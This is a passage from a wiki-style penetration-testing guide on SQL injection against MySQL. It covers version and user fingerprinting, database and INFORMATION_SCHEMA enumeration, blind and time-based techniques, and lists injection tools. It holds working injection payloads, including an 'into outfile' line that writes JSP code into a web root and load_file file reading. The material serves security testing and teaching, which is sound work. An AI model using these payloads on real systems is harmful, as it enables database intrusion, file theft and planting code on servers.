dialect. When a comment block ''('/**/')'' contains an exclamation mark ''('/*! sql here*/')'' it is interpreted by MySQL, and is considered as a normal comment block by other DBMS
as explained in [http://dev.mysql.com/doc/refman/5.0/en/comments.html MySQL manual].

Example:
1 /*! and 1=0 */

'''Result Expected:'''<br>
''If MySQL is present, the clause inside the comment block will be interpreted.''

==== Version ====

There are three ways to gain this information:
# By using the global variable @@version
# By using the function [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html VERSION()]]
# By using comment fingerprinting with a version number /*!40110 and 1=0*/
#: which means
<nowiki>if(version >= 4.1.10)
add 'and 1=0' to the query.</nowiki>

These are equivalent as the result is the same.

In band injection:

1 AND 1=0 UNION SELECT @@version /*

Inferential injection:

1 AND @@version like '4.0%'

'''Result Expected:'''<br>
''A string like this: '''5.0.22-log''' ''

==== Login User ====

There are two kinds of users MySQL Server relies upon.
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html USER()]]: the user connected to the MySQL Server.
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html CURRENT_USER()]]: the internal user who is executing the query.

There is some difference between 1 and 2.

The main one is that an anonymous user could connect (if allowed)
with any name, but the MySQL internal user is an empty name (<nowiki>''</nowiki>).

Another difference is that a stored procedure or a stored function
are executed as the creator user, if not declared elsewhere. This
can be known by using '''CURRENT_USER'''.

In band injection:

1 AND 1=0 UNION SELECT USER()

Inferential injection:

1 AND USER() like 'root%'

'''Result Expected:'''<br>
''A string like this: '''user@hostname''' ''

==== Database name in use ====

There is the native function DATABASE()

In band injection:

1 AND 1=0 UNION SELECT DATABASE()

Inferential injection:

1 AND DATABASE() like 'db%'

'''Result Expected:'''<br>
''A string like this: '''dbname''' ''

==== INFORMATION_SCHEMA ====
From MySQL 5.0 a view named [[http://dev.mysql.com/doc/refman/5.0/en/information-schema.html INFORMATION_SCHEMA]] was created.
It allows us to get all informations about databases, tables, and columns,
as well as procedures and functions.

Here is a summary of some interesting Views.
{| border=1
|| '''Tables_in_INFORMATION_SCHEMA''' || '''DESCRIPTION'''
|-
|| ..[skipped]..|| ..[skipped]..
|-
|| SCHEMATA || All databases the user has (at least) SELECT_priv
|-
|| SCHEMA_PRIVILEGES || The privileges the user has for each DB
|-
|| TABLES || All tables the user has (at least) SELECT_priv
|-
|| TABLE_PRIVILEGES || The privileges the user has for each table
|-
|| COLUMNS || All columns the user has (at least) SELECT_priv
|-
|| COLUMN_PRIVILEGES || The privileges the user has for each column
|-
|| VIEWS || All columns the user has (at least) SELECT_priv
|-
|| ROUTINES || Procedures and functions (needs EXECUTE_priv)
|-
|| TRIGGERS || Triggers (needs INSERT_priv)
|-
|| USER_PRIVILEGES || Privileges connected User has
|-
|}
All of this information could be extracted by using known techniques as
described in SQL Injection section.

=== Attack vectors ===

==== Write in a File ====

If the connected user has '''FILE''' privileges and single quotes are not escaped,
the 'into outfile' clause can be used to export query results in a file.

Select * from table into outfile '/tmp/file'

Note: there is no way to bypass single quotes surrounding a filename.
So if there's some sanitization on single quotes like escape (\') there will
be no way to use the 'into outfile' clause.

This kind of attack could be used as an out-of-band technique to gain information
about the results of a query or to write a file which could be executed inside the
web server directory.

Example:

<nowiki>1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//' LINES TERMINATED BY '\n<%jsp code here%>';</nowiki>

'''Result Expected:'''<br>
'' Results are stored in a file with rw-rw-rw privileges owned by
MySQL user and group.

Where ''/var/www/root/test.jsp'' will contain:
<nowiki>//field values//
<%jsp code here%></nowiki>

==== Read from a File ====

Load_file is a native function that can read a file when allowed by
filesystem permissions.

If a connected user has '''FILE''' privileges, it could be used to get the files' content.

Single quotes escape sanitization can by bypassed by using previously described
techniques.

load_file('filename')

'''Result Expected:'''<br>

''The whole file will be available for exporting by using standard techniques.''

=== Standard SQL Injection Attack ===

In a standard SQL injection you can have results displayed directly
in a page as normal output or as a MySQL error.
By using already mentioned SQL Injection attacks and the already described
MySQL features, direct SQL injection could be easily accomplished at a level
depth depending primarily on the MySQL version the pentester is facing.

A good attack is to know the results by forcing a function/procedure
or the server itself to throw an error.
A list of errors thrown by MySQL and in particular native functions could
be found on [http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html MySQL Manual].

=== Out of band SQL Injection ===

Out of band injection could be accomplished by using the [[#Write_in_a_File|'into outfile']] clause.
=== Blind SQL Injection ===
For blind SQL injection, there is a set of useful function natively provided by MySQL server.

* String Length:
*: ''LENGTH(str)''
* Extract a substring from a given string:
*: ''SUBSTRING(string, offset, #chars_returned)''
* Time based Blind Injection: BENCHMARK and SLEEP
*: ''BENCHMARK(#ofcicles,action_to_be_performed )''
*: The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.
*: See. SLEEP() (MySQL > 5.0.x) for an alternative on benchmark.

For a complete list, refer to MySQL manual - http://dev.mysql.com/doc/refman/5.0/en/functions.html

== References ==
'''Whitepapers'''<br>
* Chris Anley: "Hackproofing MySQL" -http://www.nextgenss.com/papers/HackproofingMySQL.pdf

'''Tools'''<br>
* Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm<br>
* ilo--: MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools<br>
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net
* Antonio Parata: Dump Files by SQL inference on MySQL - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz<br>
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/

[[Category:FIXME|link not working

'''Case Studies'''<br>
* Time Based SQL Injection Explained - http://www.f-g.it/papers/blind-zk.txt

]]